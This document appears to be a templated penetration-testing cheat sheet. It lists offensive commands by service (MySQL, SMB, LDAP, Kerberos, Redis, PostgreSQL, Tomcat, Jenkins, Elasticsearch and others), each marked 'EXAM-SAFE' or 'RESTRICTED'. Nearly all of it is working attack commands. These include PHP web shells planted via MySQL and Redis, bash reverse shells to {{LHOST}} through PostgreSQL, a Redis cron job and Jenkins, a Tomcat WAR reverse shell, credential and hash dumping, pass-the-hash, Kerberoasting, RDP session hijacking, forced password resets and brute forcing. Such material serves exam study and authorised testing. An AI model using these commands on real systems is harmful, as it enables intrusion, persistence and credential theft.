LDAPTLS_REQCERT=never ldapsearch -x -H ldaps://{{DC_IP}}:3269 -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b '' '(objectClass=user)' sAMAccountName
ldapsearch ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-audit,mysql-dump-hashes,mysql-enum {{RHOST}}
nmap ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u {{USER}} -p'{{PASS}}'
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u root --password=''
mysql ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} mysql
hydra ✓ EXAM-SAFE
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e 'show databases; select user,authentication_string from mysql.user;'
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select load_file('/etc/passwd');"
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php';"
mysql ✓ EXAM-SAFE
sqlmap -d "mysql://{{USER}}:{{PASS}}@{{RHOST}}:{{RPORT}}/database" --os-shell
sqlmap ⚠ RESTRICTED
nmap -p3389 -sV --script rdp-ntlm-info,rdp-enum-encryption {{RHOST}} -oN rdp_enum.txt
nmap ✓ EXAM-SAFE
nmap -p3389 --script rdp-vuln-ms12-020 {{RHOST}}
nmap ✓ EXAM-SAFE
netexec rdp {{RHOST}} -u {{USER}} -p {{PASS}}
netexec ✓ EXAM-SAFE
netexec rdp {{RHOST}} -u {{USER}} -H {{NTHASH}}
netexec ✓ EXAM-SAFE
xfreerdp /v:{{RHOST}} /u:{{USER}} /p:{{PASS}} /cert:ignore +clipboard /dynamic-resolution /drive:share,/home/kali/share
xfreerdp ✓ EXAM-SAFE
xfreerdp /v:{{RHOST}} /u:{{USER}} /pth:{{NTHASH}} /cert:ignore +clipboard /dynamic-resolution
xfreerdp ✓ EXAM-SAFE
xfreerdp /v:{{RHOST}} /d:{{DOMAIN}} /u:{{USER}} /p:{{PASS}} /cert:ignore /dynamic-resolution
xfreerdp ✓ EXAM-SAFE
reg add "HKLM\\System\\CurrentControlSet\\Control\\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
reg ✓ EXAM-SAFE
query user
query ✓ EXAM-SAFE
sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0" && net start sesshijack
tscon ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -p {{PASS}} rdp://{{RHOST}}
hydra ✓ EXAM-SAFE
msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS {{RHOST}}; run"
msfconsole ⚠ RESTRICTED
ldapsearch -x -H ldap://{{DC_IP}} -s base namingcontexts
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -b 'DC={{DOMAIN}}' '(objectClass=*)'
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC={{DOMAIN}}' '(objectClass=user)' sAMAccountName description memberOf
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC={{DOMAIN}}' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
ldapsearch ✓ EXAM-SAFE
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC={{DOMAIN}}' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
ldapsearch ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --users --groups
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M get-desc-users
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M laps
netexec ✓ EXAM-SAFE
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' -ns {{DC_IP}} -c All --zip
bloodhound-python ✓ EXAM-SAFE
windapsearch -d {{DOMAIN}} --dc {{DC_IP}} -u '{{USER}}@{{DOMAIN}}' -p '{{PASS}}' --da
windapsearch ✓ EXAM-SAFE
rpcclient -U '' -N {{DC_IP}} -c 'enumdomusers'
rpcclient ✓ EXAM-SAFE
netexec smb {{RHOST}}
netexec ✓ EXAM-SAFE
netexec smb {{RHOST}} -u '' -p '' --shares
netexec ✓ EXAM-SAFE
enum4linux-ng -A {{RHOST}}
enum4linux-ng ✓ EXAM-SAFE
smbclient -L //{{RHOST}}/ -N
smbclient ✓ EXAM-SAFE
smbmap -H {{RHOST}} -u '{{USER}}' -p '{{PASS}}'
smbmap ✓ EXAM-SAFE
smbclient //{{RHOST}}/SHARE -U '{{DOMAIN}}\{{USER}}%{{PASS}}'
smbclient ✓ EXAM-SAFE
netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' --shares --users --groups --pass-pol
netexec ✓ EXAM-SAFE
netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' --rid-brute
netexec ✓ EXAM-SAFE
netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' -M spider_plus
netexec ✓ EXAM-SAFE
nmap -n -p445 --script smb-vuln-ms17-010 {{RHOST}}
nmap ✓ EXAM-SAFE
netexec smb {{RHOSTS}} -M ms17-010
netexec ✓ EXAM-SAFE
msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {{RHOST}}; set LHOST {{LHOST}}; run'
metasploit ⚠ RESTRICTED
netexec smb {{RHOST}} -u '{{USER}}' -H {{NTHASH}}
netexec ✓ EXAM-SAFE
impacket-psexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
impacket-psexec ✓ EXAM-SAFE
impacket-smbexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}}
impacket-smbexec ✓ EXAM-SAFE
impacket-secretsdump {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}}
impacket-secretsdump ✓ EXAM-SAFE
impacket-secretsdump -just-dc -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{DC_IP}}
impacket-secretsdump ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
rpcclient -U '{{DOMAIN}}/{{USER}}%{{PASS}}' {{DC_IP}} -c 'setuserinfo2 TARGET_USER 23 NewP@ss123!'
rpcclient ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{USER}} -p '{{PASS}}' -M change-password -o USER=TARGET_USER NEWPASS=NewP@ss123!
netexec ✓ EXAM-SAFE
impacket-changepasswd '{{DOMAIN}}/TARGET_USER:OldP@ss@{{DC_IP}}' -newpass 'NewP@ss123!'
impacket ✓ EXAM-SAFE
impacket-changepasswd '{{DOMAIN}}/TARGET_USER@{{DC_IP}}' -newpass 'NewP@ss123!' -reset -altuser '{{USER}}' -altpass '{{PASS}}'
impacket ✓ EXAM-SAFE
bloodyAD -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' --host {{DC_IP}} set password TARGET_USER 'NewP@ss123!'
bloodyAD ✓ EXAM-SAFE
nmap -sV -Pn -p 512,513,514 --script rexec-brute,rlogin-brute,rsh-brute {{RHOST}}
nmap ✓ EXAM-SAFE
rlogin -l root {{RHOST}}
rlogin ✓ EXAM-SAFE
rsh -l root {{RHOST}} id
rsh ✓ EXAM-SAFE
rexec -l {{USER}} -p {{PASS}} {{RHOST}} id
rexec ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} rexec://{{RHOST}}
hydra ✓ EXAM-SAFE
nmap -p 53 -sV -sU -sT {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -p 53 --script dns-nsid,dns-recursion,dns-zone-transfer --script-args dns-zone-transfer.domain={{DOMAIN}} {{RHOST}}
nmap ✓ EXAM-SAFE
dig axfr {{DOMAIN}} @{{RHOST}}
dig ✓ EXAM-SAFE
dig any {{DOMAIN}} @{{RHOST}}
dig ✓ EXAM-SAFE
dig ns {{DOMAIN}} @{{RHOST}} +short
dig ✓ EXAM-SAFE
dig -x {{RHOST}} @{{RHOST}}
dig ✓ EXAM-SAFE
host -l {{DOMAIN}} {{RHOST}}
host ✓ EXAM-SAFE
dnsrecon -d {{DOMAIN}} -n {{RHOST}} -t axfr
dnsrecon ✓ EXAM-SAFE
dnsrecon -d {{DOMAIN}} -n {{RHOST}} -D {{WORDLIST}} -t brt
dnsrecon ✓ EXAM-SAFE
dnsenum --dnsserver {{RHOST}} --enum -f {{WORDLIST}} {{DOMAIN}}
dnsenum ✓ EXAM-SAFE
gobuster dns -d {{DOMAIN}} -r {{RHOST}} -w {{WORDLIST}}
gobuster ✓ EXAM-SAFE
nslookup -type=txt {{DOMAIN}} {{RHOST}}
nslookup ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=pgsql-brute {{RHOST}}
nmap ✓ EXAM-SAFE
psql -h {{RHOST}} -p {{RPORT}} -U {{USER}} -W
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -p {{RPORT}} -U postgres -c '\l'
psql ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} postgres
hydra ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c 'SELECT usename, passwd FROM pg_shadow;'
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE cmd(out text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;"
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "COPY cmd FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\"';"
psql ✓ EXAM-SAFE
PGPASSWORD='{{PASS}}' psql -h {{RHOST}} -U {{USER}} -c "CREATE TABLE f(d text); COPY f FROM '/etc/passwd'; SELECT * FROM f;"
psql ✓ EXAM-SAFE
nmap -p 5900 -sV -sC {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -p 5900 --script vnc-info,vnc-title,realvnc-auth-bypass {{RHOST}}
nmap ✓ EXAM-SAFE
vncviewer {{RHOST}}::{{RPORT}}
vncviewer ✓ EXAM-SAFE
vncviewer -passwd vnc.pass {{RHOST}}::{{RPORT}}
vncviewer ✓ EXAM-SAFE
hydra -P {{WORDLIST}} -t 4 vnc://{{RHOST}}:{{RPORT}}
hydra ✓ EXAM-SAFE
vncpwd {{WORDLIST}}
vncpwd ✓ EXAM-SAFE
msfconsole -q -x 'use auxiliary/scanner/vnc/vnc_none_auth; set RHOSTS {{RHOSTS}}; run; exit'
msfconsole ⚠ RESTRICTED
msfconsole -q -x 'use auxiliary/scanner/vnc/vnc_login; set RHOSTS {{RHOSTS}}; set PASS_FILE {{WORDLIST}}; run; exit'
msfconsole ⚠ RESTRICTED
nmap -p5985,5986 -sV {{RHOST}} -oN winrm_enum.txt
nmap ✓ EXAM-SAFE
netexec winrm {{RHOST}} -u {{USER}} -p {{PASS}}
netexec ✓ EXAM-SAFE
netexec winrm {{RHOST}} -u {{USER}} -H {{NTHASH}}
netexec ✓ EXAM-SAFE
netexec winrm {{RHOST}} -u {{WORDLIST}} -p {{PASS}} --continue-on-success
netexec ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}} -S
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -c cert.pem -k priv.key -S -u {{USER}}
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u {{USER}} -p {{PASS}} -s /opt/scripts/ -e /opt/exes/
evil-winrm ✓ EXAM-SAFE
upload /home/kali/winPEASx64.exe C:\\Users\\Public\\winpeas.exe
evil-winrm ✓ EXAM-SAFE
impacket-getTGT {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} && KRB5CCNAME={{USER}}.ccache evil-winrm -i {{DC_HOST}} -u {{USER}} -r {{DOMAIN}}
impacket-getTGT ✓ EXAM-SAFE
LDAPTLS_REQCERT=never ldapsearch -x -H ldaps://{{DC_IP}}:636 -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC={{DOMAIN}}' '(objectClass=user)' sAMAccountName
ldapsearch ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --port 636 --users
netexec ✓ EXAM-SAFE
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip {{DC_IP}} '{{DOMAIN}}/{{USER}}:{{PASS}}'
impacket ✓ EXAM-SAFE
certipy shadow auto -u '{{USER}}@{{DOMAIN}}' -p '{{PASS}}' -account 'TARGET' -dc-ip {{DC_IP}}
certipy ✓ EXAM-SAFE
bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASS}}' -ns {{DC_IP}} --use-ldaps -c All --zip
bloodhound-python ✓ EXAM-SAFE
openssl s_client -connect {{DC_IP}}:636 -showcerts </dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -dates
openssl ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=redis-info {{RHOST}}
nmap ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} INFO
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} -a '{{PASS}}' INFO
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG GET dir
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/www/html && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename shell.php && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '<?php system($_GET["c"]); ?>' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE
redis-cli ✓ EXAM-SAFE
(echo -e '\n\n'; cat {{LHOST}}_key.pub; echo -e '\n\n') > sshkey.txt && redis-cli -h {{RHOST}} -p {{RPORT}} flushall && cat sshkey.txt | redis-cli -h {{RHOST}} -p {{RPORT}} -x set sshkey && redis-cli -h {{RHOST}} -p {{RPORT}} config set dir /root/.ssh && redis-cli -h {{RHOST}} -p {{RPORT}} config set dbfilename authorized_keys && redis-cli -h {{RHOST}} -p {{RPORT}} save
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} MODULE LOAD /path/to/exp.so && redis-cli -h {{RHOST}} -p {{RPORT}} system.exec 'id'
redis-cli ⚠ RESTRICTED
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/spool/cron && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename root && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '\n* * * * * bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE
redis-cli ✓ EXAM-SAFE
nmap -sU -p69 -sV {{RHOST}}
nmap ✓ EXAM-SAFE
nmap -sU -p69 --script tftp-enum {{RHOST}}
nmap ✓ EXAM-SAFE
tftp {{RHOST}}
tftp ✓ EXAM-SAFE
tftp {{RHOST}} -c get {{URL}}
tftp ✓ EXAM-SAFE
tftp {{RHOST}} -c put shell.php
tftp ✓ EXAM-SAFE
nmap -sV -p 80,443 --script=http-enum,http-title,http-headers,http-methods {{RHOST}}
nmap ✓ EXAM-SAFE
whatweb -a 3 {{URL}}
whatweb ✓ EXAM-SAFE
nikto -h {{URL}}
nikto ✓ EXAM-SAFE
curl -s {{URL}}/robots.txt; curl -s {{URL}}/sitemap.xml
curl ✓ EXAM-SAFE
feroxbuster -u {{URL}} -w {{WORDLIST}} -x php,txt,html -t 50
feroxbuster ✓ EXAM-SAFE
ffuf -u {{URL}} -H 'Host: FUZZ.{{DOMAIN}}' -w {{WORDLIST}} -fc 404
ffuf ✓ EXAM-SAFE
openssl s_client -connect {{RHOST}}:{{RPORT}} 2>/dev/null | openssl x509 -noout -text | grep -E 'Subject:|DNS:'
openssl ✓ EXAM-SAFE
wpscan --url {{URL}} --enumerate u,vp,vt --api-token <token>
wpscan ✓ EXAM-SAFE
wpscan --url {{URL}} --usernames {{USER}} --passwords {{WORDLIST}}
wpscan ✓ EXAM-SAFE
curl -s '{{URL}}/index.php?page=php://filter/convert.base64-encode/resource=index'
curl ✓ EXAM-SAFE
nmap -sV -p 8080 --script=http-title,http-headers,http-enum {{RHOST}}
nmap ✓ EXAM-SAFE
whatweb {{URL}}
whatweb ✓ EXAM-SAFE
feroxbuster -u {{URL}} -w {{WORDLIST}} -t 50
feroxbuster ✓ EXAM-SAFE
curl -s -u {{USER}}:{{PASS}} {{URL}}/manager/html
curl ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} -f {{RHOST}} -s {{RPORT}} http-get /manager/html
hydra ✓ EXAM-SAFE
msfvenom -p java/jsp_shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f war -o shell.war
msfvenom ✓ EXAM-SAFE
curl -s -u {{USER}}:{{PASS}} -T shell.war '{{URL}}/manager/text/deploy?path=/shell'
curl ✓ EXAM-SAFE
curl -s {{URL}}/script
curl ✓ EXAM-SAFE
curl -s -d 'script=def proc=["/bin/bash","-c","bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1"].execute();proc.waitFor()' {{URL}}/scriptText
curl ✓ EXAM-SAFE
nmap -p873 -sV --script rsync-list-modules {{RHOST}}
nmap ✓ EXAM-SAFE
rsync -av --list-only rsync://{{RHOST}}/
rsync ✓ EXAM-SAFE
rsync -av --list-only rsync://{{RHOST}}/share_name
rsync ✓ EXAM-SAFE
rsync -av rsync://{{RHOST}}/share_name ./loot
rsync ✓ EXAM-SAFE
rsync -av ./payload rsync://{{RHOST}}/share_name/
rsync ✓ EXAM-SAFE
rsync -av --port=873 'rsync://{{USER}}@{{RHOST}}/share_name'
rsync ✓ EXAM-SAFE
kerbrute userenum --dc {{DC_IP}} -d {{DOMAIN}} {{WORDLIST}}
kerbrute ✓ EXAM-SAFE
kerbrute passwordspray --dc {{DC_IP}} -d {{DOMAIN}} {{WORDLIST}} '{{PASS}}'
kerbrute ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u {{WORDLIST}} -p '{{PASS}}' --no-bruteforce --continue-on-success
netexec ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile {{WORDLIST}} -no-pass -format hashcat -outputfile asrep.hashes
impacket ✓ EXAM-SAFE
impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -format hashcat -outputfile asrep.hashes
impacket ✓ EXAM-SAFE
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile kerb.hashes
impacket ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}} --kerberoasting kerb.out
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u {{USER}} -p '{{PASS}}' --asreproast asrep.out
netexec ✓ EXAM-SAFE
Rubeus.exe kerberoast /outfile:kerb.hashes /nowrap
rubeus ✓ EXAM-SAFE
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes /nowrap
rubeus ✓ EXAM-SAFE
sudo ntpdate {{DC_IP}}
ntpdate ✓ EXAM-SAFE
sudo timedatectl set-ntp off; sudo rdate -n {{DC_IP}}
faketime ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=http-elasticsearch-head {{RHOST}}
nmap ✓ EXAM-SAFE
curl -s http://{{RHOST}}:{{RPORT}}/
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/INDEXNAME/_search?pretty&size=1000'
curl ✓ EXAM-SAFE
curl -s -u {{USER}}:{{PASS}} 'http://{{RHOST}}:{{RPORT}}/_cat/indices?v'
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/_search?pretty' -H 'Content-Type: application/json' -d '{"size":1,"script_fields":{"x":{"script":{"lang":"groovy","inline":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}}'
curl ⚠ RESTRICTED
0/15 set